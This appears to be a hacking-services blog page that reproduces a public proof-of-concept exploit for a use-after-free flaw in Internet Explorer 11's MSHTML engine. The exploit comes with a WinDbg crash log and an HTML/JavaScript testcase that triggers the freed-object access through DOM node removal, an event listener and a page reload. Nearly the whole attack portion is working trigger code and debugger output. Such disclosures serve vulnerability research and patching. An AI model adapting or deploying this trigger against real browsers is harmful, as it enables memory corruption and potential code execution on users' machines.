Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86387162

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!DOCTYPE html>
<html>
  <head>
  <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  <meta http-equiv="Expires" content="0" />
  <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />
  <meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />
  <meta http-equiv="Pragma" content="no-cache" />
  <style type="text/css">
   body{
        background-color:lime;
        font-color:red;
   };
  </style>
  <script type='text/javascript'></script> 
  <script type="text/javascript" language="JavaScript">
  /*
    # Exploit Title: Internet Explorer 11 Use After Free
	# Date: 05/09/2016 - 11/09/2016
	# Exploit Author: Marcin Ressel
    # Vendor Homepage: https://www.microsoft.com/pl-pl/
	# Version: 11.0.9600.18482
	# Tested on: Windows 7 (x64)
	
	######################################################################################
	
     0:014> g
     (13a8.9b8): Access violation - code c0000005 (!!! second chance !!!)
      eax=2f66abb0 ebx=00000001 ecx=2fbc8f08 edx=7ef8d000 esi=2fbc8f08 edi=2fbc8f08
      eip=6d754a45 esp=1feac660 ebp=1feac674 iopl=0         nv up ei pl nz na po nc
      cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
      MSHTML!CElement::SecurityContext+0x25:
      6d754a45 8b80b8000000    mov     eax,dword ptr [eax+0B8h] ds:002b:2f66ac68=????????
      0:014> d @eax
      2f66abb0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66abc0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66abd0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66abe0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66abf0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66ac00  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66ac10  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66ac20  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      0:014> kb
      ChildEBP RetAddr  Args to Child              
      1feac660 6d5e7c69 6d5e7500 1feac690 2fbc8f08 MSHTML!CElement::SecurityContext+0x25
      1feac674 6d5e75cf 2fbc8f08 2fbc8f08 2fbc8f08 MSHTML!CMediaElement::RemoveFromPlayToElementTracker+0x1d
      1feac688 6d5e7bee 1feac6a0 6d5e7bd0 00000004 MSHTML!CMediaElement::Shutdown+0xdc
      1feac698 6d5e7b1c 48cfae30 50d00bb0 4542dbd0 MSHTML!CMediaElement::OnMarkupTearDown+0x1e
      1feac6c4 6d3b23dc 00000000 4542dbd0 50d00bb0 MSHTML!CMarkup::InvokeMarkupTearDownCallbacks+0xc0
      1feac6d8 6d3b22c9 00000001 00000001 341a8bb0 MSHTML!CMarkup::TearDownMarkupHelper+0xe4
      1feac700 6d3adf1f 00000001 00000001 1feac7d0 MSHTML!CMarkup::TearDownMarkup+0x58
      1feac7b0 6dae9665 341a8bb0 00000000 00000000 MSHTML!COmWindowProxy::SwitchMarkup+0x4eb
      1feac894 6dae97e3 00005004 ffffffff 00000000 MSHTML!COmWindowProxy::ExecRefresh+0xa1c
      1feac8a8 6d0d763b 457f1f68 00005004 00000001 MSHTML!COmWindowProxy::ExecRefreshCallback+0x23
      1feac8f0 6d0cd4e2 91c55b56 00000000 6d0cc800 MSHTML!GlobalWndOnMethodCall+0x17b
      1feac944 76b862fa 001401c6 00008002 00000000 MSHTML!GlobalWndProc+0x103
      1feac970 76b86d3a 6d0cc800 001401c6 00008002 user32!InternalCallWinProc+0x23
      1feac9e8 76b877d3 00000000 6d0cc800 001401c6 user32!UserCallWinProcCheckWow+0x109
      1feaca4c 76b8789a 6d0cc800 00000000 1feafc28 user32!DispatchMessageWorker+0x3cb
      1feaca5c 6e5fa8ac 1feaca9c 62382e48 2efb2fe0 user32!DispatchMessageW+0xf
      1feafc28 6e620e88 1feafcf4 6e620b00 5cba2ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
      1feafce8 74e4ad3c 62382e48 1feafd0c 6e614b00 IEFRAME!LCIETab_ThreadProc+0x3e7
      1feafd00 6e593a31 5cba2ff0 00000000 6e5939a0 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
      1feafd38 6fae9608 4b3b6fe8 705e0368 00000000 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
	  
	  ############################################################################################
  */
  
			var doc;
			var trg, trg_parent;		
			function testcase()
			{
			    var e1_frame = document.getElementById("e1"); 
				doc = document; 
				
				e = e1_frame.contentWindow.document.createElement("hr"); 
				rf = doc.body.appendChild(e); 
				
				e = e1_frame.contentWindow.document.createElement("audio"); 
				rf = doc.body.appendChild(e); 
				
				dom = doc.getElementsByTagName("*");
				document.getElementById("e1").removeNode(true); 
				trg = dom[14]; 
				trg_parent = doc.body; 

				trg.addEventListener('DOMNodeRemoved',
				                     new Function('',
									              //'try{trg.removeEventListener("DOMNodeRemoved",this,false);}catch(e){}'+
												  'try{trg.appendChild(document.createElement("feOffset")).removeNode(false).ATTRIBUTE_NODE = "false";}catch(e){}'+
												  'try{trg_parent = trg.cloneNode(true);}catch(e){}'//+
												//  'try{doc = document.implementation.createDocument("about:blank","","text/html");}catch(e){}'
												 ),
									false);
				trg_parent.innerHTML = trg.innerHTML; 
			    //CollectGarbage();
				//trg.innerHTML = "<h1></h1>"
				setTimeout('location.reload();',700);
			}
		</script>
  <title>Use After Free</title>
  </head>
  <body onload='testcase();'>
   <iframe></iframe><iframe src='about:blank' id='e1'></iframe>
  </body>
</html>
</html>